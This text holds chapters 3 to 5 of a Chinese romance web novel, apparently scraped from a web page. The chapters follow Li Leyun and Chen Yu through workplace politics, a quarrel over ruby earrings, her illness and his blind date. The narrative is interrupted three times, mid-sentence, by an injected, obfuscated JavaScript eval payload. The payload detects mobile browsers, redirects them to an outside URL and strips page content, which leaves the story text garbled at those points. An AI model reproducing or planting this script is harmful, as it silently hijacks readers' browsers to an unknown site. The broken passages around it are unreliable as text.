《早上好》 3. 第 3 章 家政人员很健谈,问租金聊工作聊养生,还问陈彧是李乐韵是什么人。 李乐韵说:“同学。”当年她拼了半条命考上青阳中学时,陈彧已是高考生。 “对了,他付了您多少钱?” 对方答:“这个面积开户保洁的话要150块一小时。” “那您大概要做多久?” “加上擦玻璃,两个多小时差不多。” 算起来陈彧也没亏多少,虽然他一定不会收那三百块。李乐韵不在意,洗了个手,开始整理那三箱衣服。 “你们小姑娘的衣服都有好多哦。” 李乐韵无奈地笑一下,每到换季就想买新的,她也头疼。 她一个月到手一万三千块,一年的项目奖金和年终奖加起来四到五万左右,除去房租水电和吃喝,其他钱都花在买买买上。 买了新外套,就得挑适配的裤子和鞋子,这个月面霜要是快空瓶,那下个月肯定就得补精华。 她还喜欢看演唱会看展看话剧,和好友们的聚会也很花钱。 李乐韵想起平步青云的陈彧,陷入一些莫名其妙的瞎想。就算她混到他这个程度,八成也是存不住钱的。 她只是想把自己照顾的更好一点,再好一点。 . 陈彧去给领导谷康仁还车。谷康仁正在一个私人饭局上,邀请陈彧一起入席。 当初谷康仁在湛江项目部担任副总经理,有阵子秘书回家休陪产假,推荐了一个应届生给他写材料,他听说是个工程师,心想这不是胡闹嘛,项目再不受重视,文职人员也不该缺。 可谁说理工科出不了秀才,年纪轻轻的陈彧愣是写出一手漂亮的公文。 后来项目部重组,他把陈彧调到他的办公室,依然让他画图纸,但秘书顶不上的时候,就会分派他动动笔。再后来,看他形象好,让他主持视频会议,又推荐他去分公司主持活动。 他自己也上进,三年内考到了注册工程师和一建,资质实在是漂亮。 那年调令下来,谷康仁要去贵州的新项目做一把手,需要带两个人走。除了秘书,另一个人他毫不犹豫地选择了陈彧。 陈彧愿意吃苦,放弃了进城的机会,二话不说跟着伯乐进了山区。 从基层工程师升成部门副部长,说快不快,说慢也不慢。每当有人议论,认真看看他的履历,就发现无可指摘。 今晚在座的都是长辈,陈彧被领导一番叙情后架上来,以茶代酒挨个打招呼,以示谦卑。 有人问起:“小陈有对象了吗?” 谷康仁替他摆摆手,“光棍一个。” “以前在基层不好找,如今进城了,大上海还愁找不到好姑娘啊。再说小伙子一表人才,又这么帅,到哪儿都是香饽饽。”说话的这位起身要了陈彧的微信,一副要给他牵线搭桥的意思。 提到成家,谷康仁开起玩笑来,说他们这行不容易,常年在外,难得回家,妻儿满是怨言。 “好不容易调回来,那天周五,我提前下班回家想陪陪夫人,结果家里一个人也没有。我老婆说她去美容院了,我问那我怎么办,她回我,说冰箱里有中午的剩菜。” 大家哈哈笑起来,谷康仁又同陈彧说:“要找,也要找个能体谅你工作性质的。” 宴席散了,谷康仁的司机开另一辆车来接他。谷康仁给陈彧行方便,让他把路虎开回单位停车场。 “你觉得徐松阳这个人怎么样?”领导忽然拍了下陈彧的肩膀。 “接触还不多。”陈彧如实说。 “行,早些回去吧。”谷康仁走远几步,又折回来,“对了,让你父亲别再给我寄东西,我是粗人一个,再好的茶我也喝不出滋味。” “他又打扰您了?” “谈不上。他还是挺看重你这个儿子的。” 回到车上,陈彧给老陈打去电话,对方没接。稍晚老陈回复他,说和朋友在泰国度假,等他回国再叙。 车停在红灯前,陈彧侧头,副驾上的礼品袋花里胡哨,里面塞着一颗开了花的仙人球、十来片补水面膜、一盒生巧,是临走时李乐韵随手装给他的。 他不懂李乐韵是在打发帮工还是想送他点生日小礼物。她向来想一出是一出。 周一赵青青进陈彧办公室送会议回执,在他窗台上看见这颗仙人球,问是哪个殷勤的同事送的。 陈彧不应声,把赵青青写的调度报告退回去,要她过了主办再拿给他审批,又提点她多跟顾昀学习。 “哦。”被批评,赵青青的脸上有点挂不住。 陈彧搁了签字的钢笔,“晚上五点半帮忙在餐厅订个包间,我们跟人力资源的同事一起聚个餐。” “好。” 人走了,陈彧在内部软件上审批流程,微信图标跳动,他点开,李乐韵发来一句话:能不能把仙人球还给我? 他顿时眉头紧锁,回了一个问号过去。莫非她藏东西在里面了? . 李乐韵认床,住新家,连续两个晚上严重失眠。周一浑浑噩噩地进办公室,总助过来通知他们去开会,柳薇找她要会上的发言稿,她两眼一黑,稿子还在她家里的电脑上。 “同传呢?” 她写的时候宽带还没弄好,没放在能同传的软件里。但她淡定地比了个“OK”,“给我一刻钟的时间。” 框架已经烂熟于心,她边看最近的业务资料边往里面填具体内容,最终用了18分钟,补上了遗忘在家的稿件。 柳薇粗读一遍,一口气喝掉杯子里剩下的冰美式,“搬个家怎么跟脱层皮似的。”说完从抽屉里拿出一对耳夹式耳钉,要送给她当乔迁礼物。 正是因为柳薇送的这个礼物,让李乐韵骤然想起一件事。她从小到大没打过耳洞,到现在都戴耳夹式的耳环,而她人生中的第一对耳环,如今正埋在她随手送给陈彧的仙人球里。 会上柳薇流畅发言时,李乐韵收到陈彧的回复,一个冰冷的问号。 她回:我送你盆新的。你闪送给我,费用我出。 . 聚餐时徐松阳下面的主管存心想试陈彧的酒量。陈彧是滴酒不沾的人,几番推脱下来,显得十分不给人事部同事面子。 顾昀能喝两杯,代表陈彧给徐松阳和主管敬酒,赵青青也努力引开话题,试图调和尴尬氛围。徐松阳觉得有意思,原来小年轻们愿意为这样的领导冲锋陷阵。 陈彧穿白色的T恤和烟灰色的开衫,淡定地靠在椅背上,任凭谁开玩笑都只是柔和地拉开一下唇角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510012|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭局是他组的不假,听上去他应该放低姿态,可人事部拖延他们的部门招聘在前,这理应是人事部的鸿门宴。 徐松阳一口一个优中择优,下头的主管刷掉上百份简历,送到陈彧手上的不是资历不够的就是笔试低分的。 招聘高分的好苗子分了两个去经营部,三个去市场中心,还有一个专业对口的应届生,宁可分到综合办公室,也不放人到他们生产部。 再看三个月前进来的赵青青,资质虽好,但走的是总公司的关系,是个实打实的关系户。 陈彧还在试探,这究竟是徐松阳的刁难,还是背后另有人使绊子。谷康仁在基层奋斗二十年,不喜斗也不擅斗,初到这龙潭虎穴的管理单位,不少人是看热闹的心态。 他身为谷康仁的嫡系,就像一面透明的屏障,不管前方是风是雨,他都得在前抵挡。 一车轱辘的题外话说完,徐松阳亲自端起酒杯走到陈彧面前,眼看着这酒到了必须要喝的时候,陈彧起身,端起酒瓶斟满一杯,“实不相瞒,我是中度酒精过敏。徐经理,往后请多多指教,我干了,您随意。” 酒精滑进口腔,这是陈彧往后退的第一步。赵青青和顾昀对视一眼,一个不解,另一个微微错愕。 徐松阳的手掌在陈彧的肩膀上轻轻拍过,落座后没多久,留意到他暗暗卷起袖口抓挠小臂。 散场时,陈彧的脖子起了一小片微红。 . 整个部门要搬去静安区总部。李乐韵一下午都沉浸在喜悦中,对多出来的二十分钟通勤时间也感到无所谓。 “到了那边只会比现在更忙。”柳薇提醒李乐韵。 “忙点好,我肯定好好表现。” “那要是遇到不好对付的人呢?” “薇姐,我们互相保护。” 柳薇觉得李乐韵在某些方面简单的可爱。她能吃加班的苦,要沾体面的光,被客户刁难可以一笑了之,但买不起当季新款会撇半天的嘴。 存钱对她来说是不重要的,能否在上海买房也不重要。最重要的是眼下的时光要实现每一个小小的虚荣心,要用工作之余所有的精力来滋养自己。比如穿上时髦的大衣搬进更漂亮的办公大楼,做一个理想中的精致lady。 三线城市有父母托底的独生女,娇贵但不娇气。她就像她的名字一样,快乐有韵味。 陈彧一直没回那条消息,李乐韵发去一个表情包提醒他。 顾昀给陈彧取来抗敏药,提醒他手机有消息,又小声问他:“领导,你真的过敏吗?”他认识酒精过敏的人,似乎不是这个症状。 “你觉得呢。”陈彧不喝酒有别的原因,他觉得跟过敏性质也差不多。 他把药盒放进办公室的抽屉里,问顾昀有没有淘汰的笔。 顾昀去外间办公室拿来一根,陈彧接过笔,走到窗台前,开始拨弄那盆仙人球里的土。 “喝醉了?”顾昀不理解他的行为。 陈彧没吱声,拨弄了半天,戳到一个硬物,取出来一看,一对红宝石耳环装在一个密封袋里。这么多年过去,她的烂招数也没升级。 他扯了下唇角,把耳环取出来塞进裤子口袋里,密封袋里装了点别的东西,重新放进土壤里,回复李乐韵:明天寄。 4.第 4 章 陈彧送回来的仙人球包的像个木乃伊,土还是洒出来一些。李乐韵用湿巾纸清理干净,捞出那个小密封袋想把耳环拿出来,可她的红宝石竟然变成了一排订书针。 她立刻发消息给陈彧:把我的东西还回来。 陈彧没回。 李乐韵告诉自己别生气,昂贵的面膜涂在脸上,头皮上抹上精油,五指梳按照穴位梳头一百遍。 一个小时过去,她保养完,陈彧还是没回。 这人什么意思? 李乐韵经常搞不懂他的想法,过去连哄带骗想地从他身上索取点什么,大多要靠美色。脑子这个东西,她不跟他比。 她洗了脸洗了头,关机去睡美容觉。下周就要发工资,她可以买更漂亮的新耳环了。她绝不继续思考黑无常的内心,那只会让她陷入又一个漩涡。 搬到总部的第二周,柳薇从项目经理升至副总监。 办公区里流言四起,柯雨问李乐韵听没听说那个八卦,李乐韵抬起写会议纪要的头,说:“听说了又怎么样,她是我领导。” “那你是听说的,还是你早就知道点什么?” 李乐韵往柯雨手里塞了一把柠檬糖,把她拽到茶水间,给自己的保温杯灌热水,“薇姐不是普通女人。总部的水深了去了,咱们刚搬过来,还是少问少听少议论比较好。” “你早就知道了?那她是跟钱还是吴?”柯雨压低了声音。 李乐韵掐了柯雨的腰一把,“我什么也不知道,我只知道薇姐得道我跟着升天。” “瞧你现实的。现在是得了便宜了是吧。” “得了便宜也没少你的份。”柳薇分给李乐韵的客户,她分了两个资质不错的给柯雨,资料已经发到柯雨的邮箱。 柯雨撇嘴,“你要是能分享点八卦给我,我会更爱你。” 李乐韵不在乎上司的绯闻。用江晴的话来说,这就是个私企,无法给她养老,她在有限的职场生活中汲取她所需要的那部分养分就好了。 她现在第一关心自己能不能升职加薪,第二关心跟着柳薇还能学到点什么东西。 即便传闻是真的,柳薇能走到这一步,男人最多也只是她的跳板。 例会后,柳薇把李乐韵叫去办公室,对她提出新的要求。只有雅思、BEC和三笔还不够,她希望李乐韵明年能把CATTI二口考下来。 说完盯住李乐韵的新耳环,黑曜石,造型简单,很有格调。 做总监助理需要考二口?真考上这个小庙可装不下她。 李乐韵没有往翻译岗位转的打算。她很喜欢她现在的助理工作,不需要考核业绩也能分到项目提成。随着上司升职,她在部门里多了那么一点话语权。今天早上进办公区,有个实习生亲切地称她为“李助”,她觉得比她的英文名听着顺耳多了。 柳薇继续说道:“目前这个情况你也看到了,前有狼后有虎,谁都希望我被咬一口。亲爱的,你也得打起精神来。” “我很精神。”李乐韵汇报她最近的工作成效,撰写了多少推荐信和计划书,跟踪了多少个客户等等,顺便还提交了一份高净值客户筛选报告。这里头有一部分是助理之外的工作。 “你没有理解我的意思。你本职工作是干得不错,但也就是不错,还算不上漂亮。你可以让自己看起来更漂亮一点,我指的是这里。”柳薇伸出手指点了点自己的脑袋。 “薇姐,你是觉得我笨吗?” “你不笨,可你不够上进。” 她还要怎么上进啊,她又没有做女强人的打算。她把她的一亩三分地犁好,不拖后腿不就行了嘛。 这个女人怎么一升职就露出优绩主义的嘴脸了。 “好的好的,我去查一下CATTI的报名时间,二口太难了,我好好复习,到时候二笔三口一起考!”李乐韵知道今年CATTI考试早就结束了,那明年的事情就明年再说,眼下糊弄过去就可以了。 回到工位,她像模像样地收藏了几篇CATTI备考攻略,下单了几本通用词汇和历年真题。放下手机,吃掉几颗维生素,按摩一下额头和颈椎,在饭搭子小群里问中午吃什么。 她没有任何压力。 . 陈彧把李乐韵给他的十几片面膜分给了办公室里的同事。赵青青说这个牌子可不便宜,疑惑不懂护肤的陈彧怎么会有。 顾昀让赵青青不该问的别问,把自己那两片面膜给了她。赵青青鼓了鼓脸,小声嘀咕道:“我现在都很少进他的办公室了。” “他不会有女朋友了吧。”赵青青戳了下顾昀的胳膊。 顾昀往边上躲了躲,“产能分析四点前写完发我,还有轮渡调度表……” 赵青青“哼”一声,甩着胳膊走了。 中午在食堂吃饭,陈彧收到李修文的微信,李老师问他最近有没有跟李乐韵联系。他说初来乍到工作很忙,等有空了会去看望小师妹。李修文再次提出希望他们多联络,说他的职场经验比李乐韵丰富,让他多提点李乐韵。 他只能回“好的”。 他没回李乐韵那条消息,李乐韵竟然没像往常那般胡搅蛮缠,这有点出乎他的意料。耳环搁在他宿舍书桌的抽屉里,跟尘封在那盆仙人球里并无区别,都见不了光。 既然这样,放在哪里都一样。 周五晚,门卫打来电话,说一个年轻女人来找陈彧。没在电话里打过招呼,陈彧想不出还能是谁。 接人的路上想,这么远,怎么都不可能是李乐韵。 果然不是李乐韵,是他的小姨田蕾。 田蕾是陈彧外公外婆的小女儿,只比陈彧大十岁。两人虽是姨侄关系,但实际上更像姐弟。 陈彧的妈妈去世很早,那年田蕾刚成年,重情重义的女孩发誓,未来一定会对小侄子好,绝不让陈家人欺负他。 陈彧的父母早年在浙江做茶叶生意,妻子骤然离世,老陈悲痛欲绝,无心经营事业,把儿子送回青阳跟老头儿作伴,有钱了打两个子儿回去,没钱就指望老头接济。陈彧小叔一家对此颇有意见,时常对年幼的陈彧没有好脸色。 田蕾心疼小陈彧,再拮据,每次去陈家看他,也都大包小包外加好几箱牛奶。后来她遇人不淑早婚早离,经济紧张,探望陈彧的次数变少。好在陈彧交到几个好朋友,其中有个小姑娘挺张扬,会对他呼来喝去,但也敢抄起地上的石头砸他恶毒堂弟的脑袋,像妹妹护着哥哥那样陪伴他。 田蕾看见小跑过来的陈彧回城后养白了些,说留在上海多好,可别再回山区。 “吃过饭了吗?”陈彧问田蕾。 田蕾去外地出差月余,下了飞机放了行李就赶过来,开车时感叹,这地儿可真偏。陈彧带她去员工餐厅点了两个小炒,陪着她又吃了几口。 “你们这里伙食不错啊。”田蕾伸手捏了下陈彧的胳膊,“壮了点。” 陈彧无奈一笑。他早就不是长身体的高中生了,也就小姨还会关注他的身材变化。 田蕾又说:“你师母寄了一些特产给我,感谢我帮小姑娘找房子。这夫妻俩太客气了。” 陈彧点点头,“他们是周到的人。” “那你怎么想,对你这小青梅有意思吗?你老师明显是想让你做他女婿啊。” “没意思。” 田蕾停了筷子,打量陈彧风轻云淡的这张脸,“真对她没意思?是后来联络少了还是怎么了,记得她刚上大学那会儿,你还千里迢迢跑到西南去看她。” “我跟她不合适。” “试过?”田蕾心生疑惑,要是处过,她不会不知道。 “她只是我老师的女儿,我对她没有别的想法。”陈彧正襟危坐,清亮的眼眸露出诚恳的神色,说完睫毛垂下来,压住一片隐隐浮动的情绪。 田蕾对李乐韵印象不浅,父母娇宠的独生女,从小到大没吃过苦,不谈她跟陈彧相左的性格,往后陈彧要是成了自己恩师的女婿,日子必定会有憋屈的一面。 不过她不会干涉陈彧的想法。她问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511672|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你打算怎么跟你老师交代?” 陈彧淡定说道:“李乐韵会替我交代。” . 气温骤降,穿衣不当的李乐韵中招风寒感冒,请了病假在社区医院挂水。退了高烧她才鼻音浓重地回江晴的电话,让他们不必担心。 李修文拐弯抹角地将此事告知陈彧,提醒他预防流感。陈彧心下了然,此时再不去探望小师妹恐怕说不过去。 周六上午,陈彧提着补品、食材和水果上门,打算打完卡就走。 李乐韵只恢复五成,开门后扬起微青的眼尾,病容下的嘴唇失去光泽,连审视都显出一些娇弱。 “你来做什么?”她盯住陈彧没有波澜的眼睛。 “老师说你病了。”陈彧站在门外,探身把礼物放进门里面。潜台词昭然若揭,来看她不是他本意。 男人弯腰,高挺的影子落下来,熟悉的气息一瞬间涌入失灵的鼻腔。李乐韵微微皱眉,抬头跟站直身体的黑无常对视,大脑一片混沌,自己也不知道此刻到底想表达什么。 最后习惯性地发出一声哼鸣。 冒着被传染的风险也要执行师命,永远那么迂腐。 她转身上楼,把陈彧晾在门口。 陈彧自己在鞋柜里找到一双新拖鞋,换上后关了门。 回到床上的李乐韵探头往下看,漆黑的头顶,棱角分明的脸白回来一大半,冲锋衣外套被他脱掉挂在衣帽架上,里面的灰色卫衣上没有任何logo,手表仍是那块飞行员。 数十年不变的穿搭风格,干净得体但不洋气。不过品牌升级,衣服质感变好,加上常年锻炼,肌肤紧致,有了那么一点入乡随俗的精致之感。 陈彧拆开带来的水果,走进厨房洗净。 十指不沾阳春水的大小姐,纵使在病中,厨房也收拾地一尘不染。基础调味品和锅具摆放整齐,有使用痕迹。窗台上放着一个卡通造型的计时器,旁边甚至还有一个面包机。 陈彧从未想过有朝一日,李乐韵会用她那十根娇贵的手指跟柴米油盐打交道。 他抬头问楼上的李乐韵:“切水果的砧板和刀在哪里?” 床靠着栏杆,李乐韵正趴着打量他,伸出手给他指方向,长发绕了一缕在胳膊上,又垂到栏杆外,像美丽虚弱的女鬼给好学的书生指路,病容之下的眼睛蓄着一些水痕,漾出一丝贪念和多情。 心意已决的书生不想多看。 橙子和梨被切割均匀,小叉子搁在盘边,放置到茶几上,然后接着清洗在生鲜超市买来的牛肉、芹菜和生姜。 李乐韵忽然咳嗽一阵,陈彧转身看她。她别过涨红的脸,再次对他轻哼一声,嘀咕道:“谁让你给我做饭了,你会做饭吗。” 久违的傲慢重回她的脸上。 陈彧敷衍道:“你将就吃。” 大米没提前泡,陈彧不确定粥会不会香,不过生滚牛肉粥他之前做过几回,只要有沙茶酱味道就不会太差。 李乐韵裹紧睡衣下楼吃水果,客厅里只有一张双人沙发,她窝在一个角上,长发垂下来,眼睛却上扬。 陈彧走进客厅,看见她没穿袜子的脚,薄薄的脚背上能看见青筋,圆润的脚趾贴在沙发边缘,猫一样抓附着柔软的高地。 他又折回厨房。 橙子的酸甜在口腔里弥漫,被伺候的病号抓住一些得意,终于发出在心里憋了一个多月的质问,“你为什么不回我的消息?” “你最好穿一双袜子。”陈彧倚在灶台旁,视线落在她的冰箱上,密密麻麻的冰箱贴里有她跟发小许竹莹以及乔令的合照。 她搂着乔令的脖子,脸颊贴着乔令的耳朵,那大概是她二十岁的时候。 李乐韵提高声调,“把耳环还给我。” 陈彧熟视无睹,问她:“乔令什么时候回国?” “陈彧,我在跟你好好说话!” 陈彧轻嗤一声,望向李乐韵躁意升腾的眼睛,“小师妹,那是我送你的耳环,你一次也没有戴过。” 5.第 5 章 牛肉粥散发香气时陈彧已经走了,耳环被他还了回来,搁在果盘旁,红宝石跟金色的水果叉都在吊灯下面闪烁着光芒。 江晴打来视频,问李乐韵午饭怎么解决。李乐韵不屑撒谎,说陈彧来过,带了水果煮了粥,完成了李老师下达的任务。 李修文挤进镜头里,“我可没给他下达什么任务。” 李乐韵撇撇嘴,不想跟他们聊这个话题,称头疼要去睡会儿,挂了电话。 醒来时天已黑透,心情跌到谷底,好在鼻塞好转,头也没那么重了。她爬起来洗了个脸梳了个头,看着镜子里的自己,生病也还是很漂亮啊。当即决定出门买杯奶茶顺便拿快递。 陈彧下午去看车,三十万左右的车看了一圈后,对催他买车的田蕾说,没有喜欢的。 他工作多年有不少积蓄,老陈又给了他八十万的买车款,田蕾知道他的底,给他推荐了奔驰GLE。 油车在上海上牌很麻烦,他还是倾向新能源。只是买车的欲望不够强烈,所以先看看,打算过阵子再做决定。 从4S店离开后,老陈打来电话,说和朋友从泰国回来了,在杭州休整几天后就来上海看他。陈彧说他来可以,但别去叨扰谷康仁,更别再给谷康仁送礼。 老陈骂他脑子不开窍,教他要怎么维护跟领导的关系。陈彧是自己摸爬滚打长大的,向来不听这些废话,敷衍一通后就结束通话。 上回在饭局上认识的一个长辈要给陈彧介绍对象,晚上定在谷康仁家吃饭,安排他跟那个姑娘认识。 这件事前阵子在电话里知会过,当时陈彧找借口推脱,没能推掉,硬着头发答应下来。这是他今天的“正事”,上午去看李乐韵只是顺路。 . 李乐韵捧着奶茶逛起了家附近的商场。一楼化妆品专柜搞活动,她挑了两只唇膏,打算当成圣诞礼物送给江晴和许竹莹,又给柳薇买了瓶香水所为回礼。 逛完去拿快递的路上,她打给许竹莹,问她最近怎么样。 许竹莹跟李乐韵一起在青阳中学的教师家属院长大,比李乐韵大两岁,跟陈彧同届不同班。她比李乐韵惨一些,她爹妈都是老师,一个教历史一个教物理,她从小到大几乎无学可逃。 如今她自己也当了老师,在青阳实验小学教数学。 她现在的男朋友吴耀文,是江晴介绍认识的,两人已在去年年末订婚。吴母跟江晴同在妇产科,吴耀文在同院的骨科当住院医,他其实也算得上是李乐韵的发小。 不过医院那帮小孩自成一派,不稀罕跟教职工子女打交道,李乐韵跟吴耀文的关系算不上亲近。 跟李修文和江晴一样,许竹莹和吴耀文也是一对教师医生的组合。在青阳那座小城生活,这样的家庭配置既舒适又体面。 去年春节见面,许竹莹对李乐韵说,她现在最大的烦恼就是想买个轻奢还得开两个小时的车去省城大商场,青阳好多品牌都没有,热门的奶茶店也入驻很慢。 李乐韵跟许竹莹选择了不一样的生活。她们从不谈论谁的选择更好,哪怕距离遥远,联络不算频繁,也依然是彼此最好的朋友。 电话那头,许竹莹语气闪躲,说自己病了。“你感冒了?”她耳朵尖,一下子听出李乐韵的声音不对劲。 同频生病,真是该死的默契。 “我受凉了,快好了。你怎么了?”李乐韵裹紧口罩踏进过马路的人群。 许竹莹躺在床上,吴耀文一下班就端茶送水地伺候她,这会儿正要求她多喝两口汤。 “吴耀文不让我说。” “什么病不能说?他有毒啊。” 吴耀文知道李乐韵喜欢刨根问底,接过许竹莹的手机,“莹子在不知道怀孕的情况下意外流产了,就几天前的事。你别背后蛐蛐我啊,我们正月就要办婚礼,备孕本来就是计划当中的事。” “什么?”李乐韵觉得这可不是小事。 许竹莹“哎哟”一声,说江晴跟吴耀文他妈都是产科医生,连她们俩都说现在流产率很高,让李乐韵别大惊小怪。 她身为班主任,那天带一年级的小朋友去秋游,确实是累着了。但劳累肯定不是主要原因,吴耀文反思,这也跟他们俩不规律的生活有很大关系。 许竹莹性格大大咧咧的,觉得自己年轻,折腾得起,一点也不伤心。吴耀文却很难过,许竹莹手术后,他做梦梦到是个女儿,那天早上是湿着眼睛醒来的。 李乐韵皱起眉头,“流产假多少天?够你休养吗?” “足够了。我都觉得没必要坐这个小月子。” “没必要你也给我好好歇着。” 许竹莹说知道了,让李乐韵也注意身体。 两人扯了几句别的,许竹莹忽然问:“对了,陈彧不是调去上海了嘛,你们俩见过没?” 李乐韵不想提这个人。 许竹莹啧嘴:“你心里还没过去呢。” 从小到大,陈彧对李乐韵有求必应,大家都默认是陈彧在报师恩。直到李乐韵大学毕业,已经工作了两年的陈彧突然撂挑子不干了。 骑士要离开公主,并不是为了上战场,而是因为受够了公主的磋磨。 成年之后,大家天南海北。谁与谁发生了隐秘的故事,谁看清了内心,谁鼓起勇气,信息不再对齐。 那晚许竹莹听李乐韵在电话里哭着骂陈彧,想起她的小王子乔令,她好像不曾为乔令流过眼泪。 …… 吴耀文睁大眼睛,“陈彧?就检察院那小子?乐韵以前跟他有事?” “一边去,女孩子之间的秘密,你一个男的别瞎打听。”许竹莹把吴耀文踢出卧室,继续跟李乐韵说私房话。 李乐韵早就说服自己,她不过是失去了一个“玩伴”。混得不好的人才会频频追忆过去。她现在很好,她不遗憾。 她叮嘱许竹莹多吃点补气血的东西。回家的路上,给自己也下单了一包五红茶。好好补一补才好过冬啊。 . 谷康仁的太太有一张巧嘴,有她在场,年轻人相亲的氛围变得活泼起来。 罗一瑾是浙江姑娘,硕士毕业,比陈彧大半岁。她在同系统的另一个单位担任机械工程师,岗位固定,职级比陈彧低一级。 她跟陈彧都在北京念大学,学校挨得近,这让他们俩有了点共同话题。 听谷康仁说陈彧没谈过恋爱,罗一瑾露出惊讶的神情。罗一瑾谈过三个男朋友,没有这一挂的。 陈彧跟谷康仁共事六年,他身边有没有姑娘,有没有感情的苗头,谷康仁自认一清二楚。陈彧不否认,因为他确实没做过谁谁谁的男朋友,那就属于是没谈过恋爱。 这是一次新派相亲,流程没那么老套,大家都很自在。陈彧不会跟罗一瑾往下发展,至于是否能交个朋友,他打算看罗一瑾是如何考量。 夜深了,在长辈们的示意下,陈彧送罗一瑾下楼。夜风刺骨,罗一瑾裹紧围巾,步伐缓慢,问陈彧到底有没有谈过恋爱。 “没有。” 罗一瑾挑了挑眉毛,“不像。” 陈彧弯了下唇角,不想过多解释。 罗一瑾又问:“那你怎么想?” 对方不打算弯弯绕绕,陈彧觉得是好事,他说:“我留在上海的可能性不大,近几年不会考虑结婚生子的事。” “谁要跟你结婚生孩子啊。”罗一瑾偏过头笑了,“谁说相亲就是一眼定下来。谷叔叔说的没错,你真是一个实心眼的人。” “那是我多虑了。”被调侃无所谓,陈彧希望这姑娘能理解他的意思。 两人走到罗一瑾的车边,罗一瑾顿住脚步,抬起头认真看眼前这张周正的脸。他是气质很干净的人,这一点十分难得。 陈彧没有回避这个注视,微微地侧了下头,“你还想问我什么?” “你对我没兴趣?”罗一瑾扬起眼尾,未等陈彧给出反应,她又问:“那先做个朋友怎么样?” 陈彧低头看了眼手表上的时间,说后续工作上会打交道,他们已经算半个同事。 . 柳薇突然流失两个大客户,心气难平,揪出翘她单子的竞争对手,在合伙人那儿狠狠参了对方一本。对方也不是吃素的,添油加醋地曝出她上位路上的灰色行为,主动拉开一场内斗。 李乐韵虽是个小卒,可站队明确。柳薇的客户资料都经由她的手,现在上面要来查,她负责做梳理分类,一面执行柳薇的命令,一边遭遇同事们的非议。 中午路过天台,她双眼无神地趴在玻璃栏杆上,手臂下垂、舌头伸直,咔嚓自拍一张发在朋友圈里,配文:这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515212|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美女现在想去死。 许竹莹给她评论:病还没好? 她回复:病是好了,人要疯了。 柯雨替忙的像陀螺的李乐韵,拿了她病假期间积压的快递。李乐韵拆开快递袋,里面装着她之前买的几本笔译教材和真题。 柯雨问她:“柳总真的把她做不了的单推荐给别的机构抽油水了?” “你在哪里听说的?” “传疯了啊,你可别跟我装傻。你说她得罪谁不好,偏要得罪公司里最奸猾的那一位。” “你也说了那位奸猾,那既然大家都知道那家伙的人品,为什么所有矛头都指向薇姐一人?上位快的女人活该活在风暴中心?” “你说的是没错,可柳总未免太耐不住性子了。” 李乐韵梳了梳头,站起来往柯雨嘴巴里塞了颗补铁的软糖,“你空下来帮我翻译两分文书呗。” “你不正好在备考嘛,自己翻,就当是练习了。” “好姐姐,你看看我这桌面上的文件,我熬夜熬得黑眼圈都出来了。我才不考呢,之前考三笔就要了我半条命。” “那你买教材做什么?” “装装样子嘛。” 这天李乐韵刚从法务部出来,外间的同事说他们部门有热闹看,她一个箭步就往自己的办公区冲。 她赶到时安保已经到了,被泼了一身咖啡的柳薇被拉开,一个年轻女孩抱着胳膊对着柳薇骂骂咧咧,却没有人敢去阻拦。 李乐韵找到自己的湿纸巾去帮柳薇清理。背对着那女孩,从她的话听出来,她是合伙人钱飞的女儿。 就是那位传闻中跟柳薇有私情的男人。 “你给我让开!”小姑娘不知道哪根筋不对,骂着骂着,上前甩开了李乐韵的胳膊。 李乐韵看了安保大哥一眼,大哥不敢帮忙,反倒劝她带着柳总先回避一下。她倒是想拖走柳薇,可柳薇一副临危不惧的样子,就好像身上的冰美式只是偶遇的一场雨水。 “骂够了吗?”柳薇上前一步,挡在李乐韵的面前,“说我是小三得有证据,否则我丢了这份工作也会告到你在你爹面前抬不起头来。” 小姑娘被这句话刺激到,冲过去和柳薇扭打起来。混乱中,她抄起柳薇办公桌上的钝角相框,用力地砸了好几下过去。 拉架的李乐韵耳朵上挨了一下,连带着又被小姑娘骂了几句。同事们见状都上来劝,她跟狼狈的柳薇被带离了办公区。 . 江晴在视频里看见李乐韵耳朵上的红痕,心疼死了,说这种破私企不待也罢,不如回青阳当英语老师,说不定还能跟许竹莹做同事。 “还有别处受伤吗?”李修文眉头紧蹙,“这充分说明你们公司内部混乱没有秩序,连员工的安全都保障不了。” “小伤,没破相就行。” 李乐韵第一次经历这种事,心有余悸。她不觉得独立就代表着不再跟父母分享喜忧。需要安慰和开解的时候,她会第一时间向他们寻求温暖。 李修文怎么想都觉得李乐韵这份工作不靠谱,关注到陈彧他们企业在对外招聘,看见有翻译岗位,打电话过去了解情况。 